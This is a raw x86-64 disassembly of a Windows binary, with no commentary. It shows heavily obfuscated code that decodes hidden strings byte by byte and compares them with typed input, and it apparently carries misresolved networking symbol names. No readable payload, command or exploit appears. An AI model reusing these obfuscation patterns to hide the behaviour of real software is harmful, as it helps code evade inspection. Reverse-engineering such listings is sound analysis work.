movzx eax, byte [rbp + r9 + 0x3c0]
add rax, r8
add r9, rax
inc r9
jmp 0x1400fcfc3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fd945
movabs rdx, 0x32ed64f47adb9d68
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r10b
add r13b, dl
jmp 0x1400fdc16
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fd977
movabs rdx, 0xd6fe6d114f1ac9b6
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r10b
add r13b, dl
jmp 0x1400fdb35
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400fd9a5
movabs rcx, 0x7b0f752e2359f604
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
sub r13b, 0x1c
jmp 0x1400fdb32
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400fd9d3
movabs rdx, 0x1f207d4af7992252
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
sub r13b, 0x3e
add r13b, dl
jmp 0x1400fda35
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400fd4c9
movabs rdx, 0xb5395a17456a73c
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r10b
add r13b, dl
jmp 0x1400fdb92
movabs rdx, 0x5375a5db1cd4ffd8
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea r13d, [rcx + rcx]
add r13b, byte [rbp + r9 + 0x3c0]
add r13b, dl
add r13b, r10b
movabs rcx, 0xa57e29e986f495ff
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 7
add cl, r13b
add cl, r10b
mov byte [rbp + r9 + 0x3c0], cl
jmp 0x1400fdb32
movabs rdx, 0xf786adf7f1142c26
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
sub r13b, byte [rbp + r9 + 0x3c0]
sub r13b, 0xa
add r13b, dl
jmp 0x1400fdc16
movabs rcx, 0x7f4c1e322acfdff1
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
add r13b, 0x69
movzx eax, byte [rbp + r9 + 0x3c0]
add rax, r8
add r9, rax
inc r9
jmp 0x1400fcfc3
movabs rdx, 0x372a0df882518755
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
sub r13b, 0x53
add r13b, dl
jmp 0x1400fdc16
movabs rcx, 0x931905dbae125b07
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
sub r13b, 0x31
jmp 0x1400fdb35
movabs rcx, 0xef07fdbed9d32eb9
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0xf
add rbx, r8
movzx eax, r13b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x1400fcfc3
movabs rdx, 0x5ec3dd4b88d67d81
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
add r13b, 0x79
add r13b, dl
jmp 0x1400fdb92
movabs rcx, 0x16a1cd11e05824e5
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x43
movabs rcx, 0x16d21ccb2b569b1
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x29
add r10b, cl
mov byte [rbp + r9 + 0x3c0], r10b
inc r8
dec r9
inc r9
jmp 0x1400fcfc3
movabs rcx, 0x7290c4f50c18f897
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
sub r13b, 0x21
inc r8
dec r9
inc r9
jmp 0x1400fcfc3
mov r10, rdx
movabs rcx, 0x3e3b9c64e6dd1b11
add rcx, r9
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r13d, [rdx + rcx]
sub r13b, 0x77
movabs rdx, 0x498f32065b33c24d
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x1b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x3c0], al
inc r8
add rax, r8
sub r9, rax
movabs rcx, 0x9b97b614c5535874
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x2c
add r10b, cl
mov byte [rbp + r9 + 0x3c0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
movzx eax, byte [rbp + r9 + 0x3c0]
add rax, r8
add r9, rax
inc r9
jmp 0x1400fcfc3
movabs rcx, 0xf6198c2b3e5ec275
add rcx, r9
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r13d, [rcx + rdx]
sub r13b, 0x33
movzx eax, byte [rbp + r9 + 0x3c0]
add rax, r8
add r9, rax
inc r9
jmp 0x1400fcfc3
movabs rcx, 0x9e6c9b7d22690243
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
add r13b, 0x2b
jmp 0x1400fcfc0
movabs rcx, 0xfa5b93604e29d5f5
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
add r13b, 0x4d
jmp 0x1400fcfa7
lea rdx, [rbp + 0x178e5f4]
jmp 0x1400fdd30
lea rdx, [rbp + 0x1587c1b]
jmp 0x1400fdd30
lea rdx, [rbp + 0x3c0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x60], 0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x1400fdd50
lea rcx, [rbp + 0x48]
call fcn.140047180
lea rcx, [rbp + 0x48]
call fcn.1400e07a0
lea rdx, [rbp + 0x28]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140109170
mov byte [rbp + 0x70], Ordinal_143
mov byte [rbp + 0x71], 0x7e
mov byte [rbp + 0x72], Ordinal_143
mov byte [rbp + 0x73], Ordinal_60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x74], xmm0
mov qword [rbp + 0x84], rax
mov word [rbp + 0x8c], ax
mov byte [rbp + 0x8e], al
nop dword [rax]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r9d, r9d
cmp r9, 0x1f
jae 0x1400fe9d0
movzx r10d, byte [rbp + r9 + 0x70]
mov r11, qword [rbp + 0x540]
mov rdx, r10
nop dword [rax]
cmp rbx, r9
ja 0x1400fe9c7
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400fde1c
movabs rcx, 0x91b0716df7c36287
add rcx, r9
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
add r11b, 0x4f
mov qword [rbp + 0x540], r11
jmp 0x1400fde56
je 0x1400fe933
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400fe894
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400fe856
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400fe826
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400fe7cf
cmp r8, r9
ja 0x1400fe9be
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x1400fde94
movabs rdx, 0xf3794e0553071513
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x7b
add r11b, dl
mov qword [rbp + 0x540], r11
jmp 0x1400fdee0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400fe7ad
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400fe756
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400fe726
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400fe6fc
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400fe6d8
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r9
jbe 0x1400fe3fd
nop dword [rax]
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400fe3d8
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400fe3a4
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400fe371
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400fe34c
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400fe319
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400fe2f5
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400fdef0
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400fe994
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400fe969
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400fe0a4
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400fe075
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400fe046
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400fe218
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400fe1e4
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400fdef0
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400fe1c1
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x1400fe197
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400fe171
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400fe14d
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400fe11a
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400fe0f7
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400fe0d2
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400fdef0
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 8]
jmp 0x1400fdef0
movabs rdx, 0x1acd96b587167f4d
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1b
add r11b, dl
mov qword [rbp + 0x540], r11
jmp 0x1400fdee0
movabs rdx, 0xf76cb3d9978fba3f
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x47
add r11b, dl
mov qword [rbp + 0x540], r11
jmp 0x1400fde56
movabs rdx, 0xd40bd0fda808f531
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0x57
add r11b, dl
mov qword [rbp + 0x540], r11
jmp 0x1400fddda
movabs rdx, 0x9bca702a9838a898
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x28
add dl, cl
jmp 0x1400fe7ed
movabs rcx, 0x31a7c796c9a4596e
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 2
jmp 0x1400fe774
movabs rdx, 0xe46e4bada1d9460
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov qword [rbp + 0x540], rdx
add rbx, r8
mov r11, rdx
jmp 0x1400fe87b
movabs rcx, 0xeae601deea96cf52
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3e
jmp 0x1400fe874
movabs rdx, 0xc7851f02fb100a44
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400fe8b1
movabs rcx, 0xa4243c270b894536
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7a
mov qword [rbp + 0x540], rdx
jmp 0x1400fe8e9
movabs rcx, 0x80c3594b1c028028
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x18
jmp 0x1400fe94e
movabs rcx, 0xa851222545319385
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x5d
mov qword [rbp + 0x540], r11
mov byte [rbp + r9 + 0x70], r11b
inc r9
jmp 0x1400fddc3
movabs rdx, 0x3e2e7991769d445b
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7d
add r11b, dl
mov qword [rbp + 0x540], r11
lea rax, [r8 + rbx]
cmp rax, 5
je 0x1400fe6b0
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x1400fe4e8
movabs rcx, 0xb70b0734098e7a2b
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2d
mov qword [rbp + 0x540], r11
cmp rbx, 0x61
jae 0x1400fe685
lea rax, [r8 + 3]
cmp rbx, rax
jbe 0x1400fe57e
movabs rdx, 0xaa8455395c958f3e
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
mov qword [rbp + 0x540], r11
cmp r8, 0x28
jb 0x1400fe20b
movabs rcx, 0xc4d31d0b7d941ca
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edx, [rcx*2 - 0xc]
jmp 0x1400fe7ed
movabs rcx, 0xb4d7d41ff22a7e72
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x1e
jmp 0x1400fe94e
movabs rdx, 0x275448b0340f6a3a
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov qword [rbp + 0x540], rdx
add rbx, r8
mov r11, rdx
jmp 0x1400fe87b
movabs rdx, 0x3f365d44488a52c
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x34
add dl, cl
jmp 0x1400fe774
movabs rdx, 0xe09282f85501e01e
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov qword [rbp + 0x540], rdx
dec r9
inc r9
jmp 0x1400fddc3
movabs rcx, 0xbd31a01c657b1b10
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x70
inc r8
mov qword [rbp + 0x540], rdx
dec r9
inc r9
jmp 0x1400fddc3
movabs rdx, 0x99d0bd4075f45602
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xe
add dl, cl
jmp 0x1400fe7ed
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x1400fe42d
movabs rcx, 0x91b0716df7c36287
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x4f
jmp 0x1400fe23b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fe45a
movabs rcx, 0xe6f29c0aa60e2a26
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0xa
jmp 0x1400fe94e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fe489
movabs rdx, 0x2db461c2851bb442
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400fe8b1
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400fe4b8
movabs rdx, 0x97d70a5653b0036c
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400fe774
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400fe242
movabs rcx, 0x1f9b2ea22445296
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1a
jmp 0x1400fe7ed
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fe514
movabs rcx, 0xda6bea0ff9153f39
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x71
jmp 0x1400fe7ed
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fe54e
movabs rcx, 0x212dafc7d822c955
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x53
mov qword [rbp + 0x540], rdx
dec r9
inc r9
jmp 0x1400fddc3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400fe283
movabs rcx, 0xaeb13b37963ddd8d
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x25
jmp 0x1400fe8b1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fe5ab
movabs rcx, 0xcde538154c1c544c
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x14
jmp 0x1400fe94e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fe5da
movabs rdx, 0x14a6fdcd2b29de68
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400fe8b1
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400fe616
movabs rdx, 0x5b68c3850a376884
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rbp + 0x540], rdx
add rbx, r8
mov r11, rdx
jmp 0x1400fe87b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fe655
movabs rdx, 0xc58b6c18d8cbb7ae
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc r8
mov qword [rbp + 0x540], rdx
dec r9
inc r9
jmp 0x1400fddc3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400fe2c5
movabs rcx, 0xe8ec4ef4c8527cbc
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x24
jmp 0x1400fe7ed
movabs rdx, 0x2fae14aca76006d8
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
add cl, cl
add cl, byte [rbp + r9 + 0x70]
add dl, cl
add dl, r10b
jmp 0x1400fe774
movabs rcx, 0x530ef78896e6cbe6
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x70]
lea edx, [r10 + rcx]
sub dl, 0x4a
jmp 0x1400fe8b1
movabs rcx, 0x31e147c0bec40291
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 9
jmp 0x1400fe94e
movabs rcx, 0xe8064e4cf3d3d83
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x6b
mov qword [rbp + 0x540], rdx
jmp 0x1400fe8e9
movabs rcx, 0xa45dbc5100a8ee59
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6f
mov qword [rbp + 0x540], rdx
add rbx, r8
mov r11, rdx
jmp 0x1400fe87b
movabs rcx, 0x80fcd9751122294b
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xd
movabs rcx, 0xc15e861a9f23695f
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x67
add r10b, cl
add r10b, dl
mov byte [rbp + r9 + 0x70], r10b
mov qword [rbp + 0x540], rdx
add rbx, r8
mov r11, rdx
jmp 0x1400fe87b
movabs rdx, 0x16da30e1428dda21
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x19
add dl, cl
jmp 0x1400fe7ed
movabs rcx, 0xd0186b2963805005
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x23
movabs rcx, 0x9dfda33eaf9ca451
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x37
add r10b, cl
mov byte [rbp + r9 + 0x70], r10b
inc r8
mov qword [rbp + 0x540], rdx
dec r9
inc r9
jmp 0x1400fddc3
movabs rcx, 0x8956a5718472c5e9
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5f
mov qword [rbp + 0x540], rdx
dec r9
inc r9
jmp 0x1400fddc3
movabs rcx, 0x1f33fcddb5de76bf
add rcx, r9
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x39
mov qword [rbp + 0x540], r11
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x1400fddc3
mov r10, rdx
movabs rax, 0xfbd31a01c657b1b1
add rax, r9
and dl, al
add dl, dl
sub al, dl
lea edx, [r10 + rax]
add dl, 0x29
mov qword [rbp + 0x540], rdx
movabs rdx, 0xe4bf68f68eaa2e6d
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 5
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x70], al
inc r8
add rax, r8
sub r9, rax
movabs rdx, 0x766fda64866d90f4
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r9 + 0x70], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
movzx eax, byte [rbp + r9 + 0x70]
add rax, r8
add r9, rax
inc r9
jmp 0x1400fddc3
movabs rcx, 0xb5115449e74a2795
add rcx, r9
movzx eax, dl
and al, cl
add al, al
sub cl, al
sub dl, 0x13
add dl, cl
mov qword [rbp + 0x540], rdx
movzx eax, byte [rbp + r9 + 0x70]
add rax, r8
add r9, rax
inc r9
jmp 0x1400fddc3
movabs rcx, 0xb0aaee21b8823023
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0xb
mov qword [rbp + 0x540], rdx
jmp 0x1400fddc0
movabs rcx, 0x8d4a0b45c8fb6b15
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x6d
mov qword [rbp + 0x540], rdx
jmp 0x1400fddb0
lea rdx, [rbp + 0x1463324]
jmp 0x1400fe9d4
lea rdx, [rbp + 0x8995ab]
jmp 0x1400fe9d4
lea rdx, [rbp + 0x70]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x1400fe9e0
lea rcx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rcx, qword [rbp + 0x28]
mov r8, qword [rbp + 0x38]
cmp r8, rax
jne 0x1400fea0d
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14010495b
mov byte [rbp + 0x90], 0xed
mov byte [rbp + 0x91], reloc.WS2_32.dll_gethostname
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x92], xmm0
mov word [rbp + 0xa2], ax
nop
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r9, qword [rax]
xor r10d, r10d
cmp r10, 0x14
jae 0x1400ff7ae
movzx r11d, byte [rbp + r10 + 0x90]
mov r8d, r11d
nop dword [rax]
cmp rbx, r10
ja 0x1400ff7a5
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1400fea95
movabs rcx, 0x7e04ef7207aa8277
add rcx, r10
mov rax, rcx
and rax, r8
imul r12, rax, 0xfffffffffffffffe
add r12, rcx
add r12, r8
sub r12b, 0x41
jmp 0x1400fead0
je 0x1400ff71a
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1400ff672
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1400ff637
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1400ff5e7
lea rax, [r9 + 6]
cmp rbx, rax
je 0x1400ff593
nop
cmp r9, r10
ja 0x1400ff79c
lea rax, [r9 + 0x28]
cmp rbx, rax
jae 0x1400feb03
movabs rcx, 0x5667a45aa0fcb3c3
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x55
jmp 0x1400feb50
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1400ff56e
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1400ff541
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1400ff51d
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1400ff4f9
lea rax, [r9 + 7]
cmp rbx, rax
je 0x1400ff4c3
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x1400ff1cb
nop dword [rax]
lea rax, [r9 + 0x400]
cmp rbx, rax
je 0x1400ff1a2
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1400ff175
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1400ff146
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x1400ff122
lea rax, [r9 + 0x7a]
cmp rbx, rax
je 0x1400ff0f9
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1400ff0d1
lea rax, [r9 + 0x20]
cmp rbx, rax
je 0x1400ff0ab
lea rax, [r9 + 0x3e8]
cmp rbx, rax
je 0x1400ff087
lea rax, [r9 + 0x2a]
cmp rbx, rax
je 0x1400ff04c
lea rax, [r9 + 8]
cmp rbx, rax
je 0x1400feb60
lea rbx, [r9 + 0x64]
lea r9, [rbx + 0x42]
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1400ff774
lea rax, [r9 + 0x1000]
cmp rbx, rax
jb 0x1400ff750
lea rax, [r9 + 2]
cmp rbx, rax
jb 0x1400fed68
lea rax, [r9 + 0xa]
cmp rbx, rax
jb 0x1400fed40
lea rax, [r9 + 0x80]
cmp rbx, rax
jb 0x1400fed18
lea rax, [r9 + 0x41]
cmp rbx, rax
jb 0x1400fefee
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1400fef8f
lea rax, [r9 + 0x28]
cmp rbx, rax
jb 0x1400fef3d
lea rax, [r9 + 0x400]
cmp rbx, rax
jb 0x1400fef0e
lea rax, [r9 + 1]
cmp rbx, rax
jb 0x1400feb60
lea rbx, [r9 + 0xa]
lea r9, [rbx + 9]
lea rax, [r9 + 0x80]
cmp rbx, rax
ja 0x1400feed3
lea rax, [r9 + 0x41]
cmp rbx, rax
ja 0x1400feeaf
lea rax, [r9 + 5]
cmp rbx, rax
ja 0x1400fee86
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x1400fee62
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1400fee39
lea rax, [r9 + 1]
cmp rbx, rax
ja 0x1400fee15
lea rax, [r9 + 9]
cmp rbx, rax
ja 0x1400fede6
lea rax, [r9 + 0x64]
cmp rbx, rax
ja 0x1400fedb9
lea rax, [r9 + 0x7a]
cmp rbx, rax
ja 0x1400fed90
lea rax, [r9 + 4]
cmp rbx, rax
ja 0x1400feb60
lea rbx, [r9 + 3]
lea r9, [rbx + 0x20]
jmp 0x1400feb60
movabs rdx, 0x6cae02ea2994d69d
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx r12d, r11b
sub r12b, al
sub r12b, 0x4b
add r12b, dl
jmp 0x1400feb50
movabs rdx, 0x70a424061a3fd1af
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx r12d, r11b
sub r12b, al
add r12b, 0x37
add r12b, dl
jmp 0x1400fead0
movabs rcx, 0x749a45220aeaccc1
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x47
movzx r8d, r11b
jmp 0x1400fea60
movabs rdx, 0xb33d22d507e59e18
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r11b
jmp 0x1400ff5b2
movabs rcx, 0xb73343f0f890992a
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x26
inc r9
dec r10
inc r10
jmp 0x1400fea43
movabs rdx, 0xbb29650ce93b943c
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r11b
add r12b, dl
dec r10
inc r10
jmp 0x1400fea43
movabs rcx, 0xbf1f8628d9e68f4e
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
